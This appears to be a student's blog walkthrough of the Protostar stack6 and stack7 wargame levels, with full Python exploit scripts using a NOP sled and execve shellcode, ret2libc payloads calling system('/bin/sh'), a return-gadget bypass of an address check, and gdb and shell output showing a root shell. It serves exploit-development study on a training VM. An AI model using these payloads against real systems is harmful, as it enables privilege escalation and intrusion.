0xbffff824: 0xb7ff6210 0xb7eadb9b 0xb7ffeff4 0x00000001
0xbffff7c1: int3
0xbffff7c2: int3
0xbffff7c1 in ?? ()

YAY!!!! WE GOT A Trace/Breakpoint. So it worked. Now let us take out the opcode and add in the nopslide and shell code

offset = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"
ret = "\xf9\x84\x04\x08" #0x080484f9
eip = "\xc0\xf7\xff\xbf" #0xbffff7c0, we are returning to the stack
nopslide = "\x90" * 100
payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
print (offset+ret+eip+nopslide+payload)

Now let us try it outside gdb:

user@protostar:/tmp$ (python exp1.py; cat) | /opt/protostar/bin/stack6
input path please: got path ooooAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO�QQQQRRRRSSSS���������������������������������������������������������������������������������������������������������1�Ph//shh/bin�����°̀
1�@̀
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
whoami
root

YAAAAY!!!!!! WE DID IT!!!!!

Now one more thing if you remember the ‘ret’ we returned to twice:

0x080484f9 <getpath+117>:    ret

This is a gadget or a No operation gadget since we returned to a functions without doing anything.

Another way we could exploit this is through ret2libc which we also will look at. So it will be kinda like Stack 4 where we return into a function but that function will be in the libc library. We also do not need to use shellcode too. What function would we return into???

man systemNAME
System - executes shell comand

So system executes shell commands. But how do we call it? Lets make a C program which calls to it and we’ll se how it works

#include <stdlib.h>void main() {
system ("/bin/sh");
}

and then compile it using

gcc system.c -o sys

if we run it we will get /bin/sh, now lets disassemble it in gdb

(gdb) disassemble main
Dump of assembler code for function main:
0x080483c4 <main+0>: push ebp
0x080483c5 <main+1>: mov ebp,esp
0x080483c7 <main+3>: and esp,0xfffffff0
0x080483ca <main+6>: sub esp,0x10
0x080483cd <main+9>: mov DWORD PTR [esp],0x80484a0
0x080483d4 <main+16>: call 0x80482ec <system@plt>

0x080483d9 <main+21>: leave
0x080483da <main+22>: ret
End of assembler dump

As you can see first the address of system is pushed onto the stack and then is called. And if you remember from before, when a functions is called we also push it’s return address onto the stack. So the it would be like this:

When executed:
mov DWORD PTR [esp],0x80484a0

The address is moved to esp

When executed:
call 0x80482ec <system@plt>

The return address is then pushed on to the Stack.

.
Since we used buffer overflow to return into the system, thus no return address is pushed onto the stack since we did not call system but returned into it. But we control the stack and thus system expects the stack to look like the second picture. We can build this by hand such that it tricks system to work without calling it since system will assume we called it because there is a return address.

So when system finishes we will get a SEG fault because we will give some random hex values as the return address. Now we know where the return address is.

Next after the return address comes the string which will be executed by system so it will be “/bin/sh”. There are many options of which thi string could be, like o using a stack address or a environment variable since they would be easier to use. Since we control the stack, we’ll find a stack address where “/bin/sh” is located.

Now lets go one by one, first lets find system() for stack 6. Open the program in gdb and do the usually and run it and set a breakpoint—

(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>

We got the address of system. Now we need to find the address of “/bin/sh”, lets first start looking in gdb:

(gdb) info proc map
process 1779
cmdline = '/opt/protostar/bin/stack6'
cwd = '/tmp'
exe = '/opt/protostar/bin/stack6'
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0 /opt/protostar/bin/stack6
0x8049000 0x804a000 0x1000 0 /opt/protostar/bin/stack6
0xb7e96000 0xb7e97000 0x1000 0
0xb7e97000 0xb7fd5000 0x13e000 0 /lib/libc-2.11.2.so
0xb7fd5000 0xb7fd6000 0x1000 0x13e000 /lib/libc-2.11.2.so
0xb7fd6000 0xb7fd8000 0x2000 0x13e000 /lib/libc-2.11.2.so
0xb7fd8000 0xb7fd9000 0x1000 0x140000 /lib/libc-2.11.2.so
0xb7fd9000 0xb7fdc000 0x3000 0
0xb7fde000 0xb7fe2000 0x4000 0
0xb7fe2000 0xb7fe3000 0x1000 0 [vdso]
0xb7fe3000 0xb7ffe000 0x1b000 0 /lib/ld-2.11.2.so
0xb7ffe000 0xb7fff000 0x1000 0x1a000 /lib/ld-2.11.2.so
0xb7fff000 0xb8000000 0x1000 0x1b000 /lib/ld-2.11.2.so
0xbffeb000 0xc0000000 0x15000 0 [stack]
(gdb) find 0xb7e97000, +9999999, "/bin/sh"
0xb7fba23f
warning: Unable to access target memory at 0xb7fd9647, halting search.
1 pattern found.
(gdb) x/s 0xb7fba23f
0xb7fba23f: "KIND in __gen_tempname\""

WHAT?!?!? Where did /bin/sh go? As we can see only sometimes it works so make sure when you use this you always check. Another way we can find it using strings

user@protostar:/tmp$ strings -a -t x /lib/libc-2.11.2.so | grep "/bin/sh"
11f3bf /bin/sh

We will search where it is in the libc library, -t will print the offset of “/bin/sh” address from the start address. Now lets see if it works in gdb. — I kept 2 tabs in /tmp directory so it is simpler and more easier to use.

(gdb) x/s 0xb7e97000+0x11f3bf
0xb7fb63bf: "/bin/sh"

Okay now we got “/bin/sh” now lets make the script:

offset = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"
system = "\xb0\xff\xec\xb7" #0xb7ecffb0
ret_after_system = "AAAA"
bin = "\xbf\x63\xfb\xb7"
print (offset+system+ret_after_system+bin)

Now lets try it out of gdb:

user@protostar:/tmp$ (python exp1.py; cat) | /opt/protostar/bin/stack6
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP����RRRRSSSSTTTT����AAAA�c��
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
whoami
root
^C
Segmentation fault

YAAAY!!! We have successfully exploited it with RET2LIBC!!!!

STACK 7:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

char *getpath()
{
char buffer[64];
unsigned int ret;

printf("input path please: "); fflush(stdout);

gets(buffer);

ret = __builtin_return_address(0);

if((ret & 0xb0000000) == 0xb0000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}

printf("got path %s\n", buffer);
return strdup(buffer);
}

int main(int argc, char **argv)
{
getpath();



}

This is the C code for Stack &. Now let us anaylze it.

As you can see it is similar to our last problem with only 2 changes:
1-We have a new IF condition~
if((ret & 0xb0000000) == 0xb0000000)
If we look back at the last Stack problem, the address was 0xbf… Now it is 0xb, so this means that we cannot use Ret2Libc immediately. Thus we must do a No operation ROP and either return back to the Stack or do Ret2Libc. We will do both for fun.

2-We have something called
return strdup(buffer);
It looks like it just returns the buffer??? Lets check out what strdup means

man strdupNAME
strdup, strndup, strdupa, strndupa - duplicate a string
DESCRIPTION
The strdup() function returns a pointer to a new string which is a duplicate of the string s. Memory for the new string is obtained with malloc(3), and can be freed with free(3). The strndup() function is similar, but copies at most n bytes. If s is longer than n, only n bytes are copied, and a terminating null
byte ('\0') is added. strdupa() and strndupa() are similar, but use alloca(3) to allocate the buffer. They are available only when using the GNU GCC suite,and suffer from the same limitations described in alloca(3).

So it duplicates a string and returns a pointer to it. Will this cause us problems??? Lets find out by firing up gdb and disassembling it.

(gdb) disassemble getpath
Dump of assembler code for function getpath:
0x080484c4 <getpath+0>: push ebp
0x080484c5 <getpath+1>: mov ebp,esp
0x080484c7 <getpath+3>: sub esp,0x68
0x080484ca <getpath+6>: mov eax,0x8048620
0x080484cf <getpath+11>: mov DWORD PTR [esp],eax
0x080484d2 <getpath+14>: call 0x80483e4 <printf@plt>
0x080484d7 <getpath+19>: mov eax,ds:0x8049780
0x080484dc <getpath+24>: mov DWORD PTR [esp],eax
0x080484df <getpath+27>: call 0x80483d4 <fflush@plt>
0x080484e4 <getpath+32>: lea eax,[ebp-0x4c]
0x080484e7 <getpath+35>: mov DWORD PTR [esp],eax
0x080484ea <getpath+38>: call 0x80483a4 <gets@plt>
0x080484ef <getpath+43>: mov eax,DWORD PTR [ebp+0x4]
0x080484f2 <getpath+46>: mov DWORD PTR [ebp-0xc],eax
0x080484f5 <getpath+49>: mov eax,DWORD PTR [ebp-0xc]
0x080484f8 <getpath+52>: and eax,0xb0000000
0x080484fd <getpath+57>: cmp eax,0xb0000000
0x08048502 <getpath+62>: jne 0x8048524 <getpath+96>
0x08048504 <getpath+64>: mov eax,0x8048634
0x08048509 <getpath+69>: mov edx,DWORD PTR [ebp-0xc]
0x0804850c <getpath+72>: mov DWORD PTR [esp+0x4],edx
0x08048510 <getpath+76>: mov DWORD PTR [esp],eax
0x08048513 <getpath+79>: call 0x80483e4 <printf@plt>
0x08048518 <getpath+84>: mov DWORD PTR [esp],0x1
0x0804851f <getpath+91>: call 0x80483c4 <_exit@plt>
0x08048524 <getpath+96>: mov eax,0x8048640
0x08048529 <getpath+101>: lea edx,[ebp-0x4c]
0x0804852c <getpath+104>: mov DWORD PTR [esp+0x4],edx
0x08048530 <getpath+108>: mov DWORD PTR [esp],eax
0x08048533 <getpath+111>: call 0x80483e4 <printf@plt>
0x08048538 <getpath+116>: lea eax,[ebp-0x4c]
0x0804853b <getpath+119>: mov DWORD PTR [esp],eax
0x0804853e <getpath+122>: call 0x80483f4 <strdup@plt>
0x08048543 <getpath+127>: leave
0x08048544 <getpath+128>: ret

Lets first find the offset as usual:

offset = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWYYYYXXXXZZZZ"

And what we get it:

Program received signal SIGSEGV, Segmentation fault.
eax 0x804a008 134520840
ecx 0x0 0
edx 0x1 1
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff7b0 0xbffff7b0
ebp 0x54545454 0x54545454
esi 0x0 0
edi 0x0 0
eip 0x55555555 0x55555555
eflags 0x210202 [ IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
0xbffff7b0: 0x56565656 0x57575757 0x59595959 0x58585858
0xbffff7c0: 0x5a5a5a5a 0xbffff800 0xbffff86c 0xb7fe1848
0xbffff7d0: 0xbffff820 0xffffffff 0xb7ffeff4 0x080482bc
0xbffff7e0: 0x00000001 0xbffff820 0xb7ff0626 0xb7fffab0
0xbffff7f0: 0xb7fe1b28 0xb7fd7ff4 0x00000000 0x00000000
0xbffff800: 0xbffff838 0x67b277cd 0x4de581dd 0x00000000
0xbffff810: 0x00000000 0x00000000 0x00000001 0x08048410
0xbffff820: 0x00000000 0xb7ff6210 0xb7eadb9b 0xb7ffeff4
0xbffff830: 0x00000001 0x08048410 0x00000000 0x08048431
0xbffff840: 0x08048545 0x00000001 0xbffff864 0x08048570
0x55555555: Error while running hook_stop:
Cannot access memory at address 0x55555555
0x55555555 in ?? ()

Nice…So our offset is like the same till “T”, and our esp register if we look above we can see it is still the same 0xbffff7b0. Hmmmmm let us try it with our original exploit not ret2libc yet. Remember to chage ret to the new address.

offset = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"
ret = "\x44\x85\x04\x08" #0x08048544
eip = "\xc0\xf7\xff\xbf" #0xbffff7c0, we are returning to the stack
nopslide = "\x90" * 100
payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
print (offset+ret+eip+nopslide+payload)

Run it:

user@protostar:/tmp$ (python exp1.py; cat) | /opt/protostar/bin/stack7
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPDRRRRSSSSTTTTD��������������������������������������������������������������������������������������������������������1�Ph//shh/bin�����°̀
1�@̀
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
whoami
root
^C

Hmmm We got it!!!! strdup does not doing anything that important but we still did it!!!

Now lets try it with our Ret2libc exploit. BUT WAIT!!! If we look back at the “IF” statement of our source code it stops any address of 0xb… So our address of system() in libc is in there. How do we do it?? Well, we do the same thing as before but make a few changes, we return back to the return function and then return to system. Now let us find the address of system and /bin/sh:

(gdb) info proc map
process 1683
cmdline = '/opt/protostar/bin/stack7'
cwd = '/tmp'
exe = '/opt/protostar/bin/stack7'
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0 /opt/protostar/bin/stack7
0x8049000 0x804a000 0x1000 0 /opt/protostar/bin/stack7
0xb7e96000 0xb7e97000 0x1000 0
0xb7e97000 0xb7fd5000 0x13e000 0 /lib/libc-2.11.2.so
0xb7fd5000 0xb7fd6000 0x1000 0x13e000 /lib/libc-2.11.2.so
0xb7fd6000 0xb7fd8000 0x2000 0x13e000 /lib/libc-2.11.2.so
0xb7fd8000 0xb7fd9000 0x1000 0x140000 /lib/libc-2.11.2.so
0xb7fd9000 0xb7fdc000 0x3000 0
0xb7fe0000 0xb7fe2000 0x2000 0
0xb7fe2000 0xb7fe3000 0x1000 0 [vdso]
0xb7fe3000 0xb7ffe000 0x1b000 0 /lib/ld-2.11.2.so
0xb7ffe000 0xb7fff000 0x1000 0x1a000 /lib/ld-2.11.2.so
0xb7fff000 0xb8000000 0x1000 0x1b000 /lib/ld-2.11.2.so
0xbffeb000 0xc0000000 0x15000 0 [stack]
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>

We have now found the address of our system, now let us find the address of “/bin/sh”

user@protostar:/tmp$ strings -a -t x /lib/libc-2.11.2.so | grep "/bin/sh"
11f3bf /bin/sh

Now we have the offset now let us check in gdb to make sure:

(gdb) x/s 0xb7e97000+0x11f3bf
0xb7fb63bf: "/bin/sh"

Now we have the address for /bin/sh now let us make the exploit:

offset = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"
ret = "\x44\x85\x04\x08" #0x08048544
system = "\xb0\xff\xec\xb7" #0xb7ecffb0
ret_after_sys = "AAAA"
binsh = "\xbf\x63\xfb\xb7"
print (offset+ret+system+ret_after_sys+binsh)

Now lets run it:

user@protostar:/tmp$ (python exp1.py; cat) | /opt/protostar/bin/stack7
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPDRRRRSSSSTTTTD����AAAA�c��
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
whoami
root
^C

YAAAAAAY!!!!! We got ROOT!!!

Now we are going to learn a 2nd ROP technique called Ret2 .text which returns to the code section of the binary — .text part. So the “gadget” which we are looking for in the code is a “POP, POP, RET” gadget. So we will ret into an address where it will then “POP, POP” 2 useless things on the stack and then RET into the address we want.

--

--

Nithilan Pugal
ZH3R0
Editor for

What are we? Why do we do what we do? I am just a student of life and passion. I find myself to be a cynical pink crazy marshmallow which is full of life.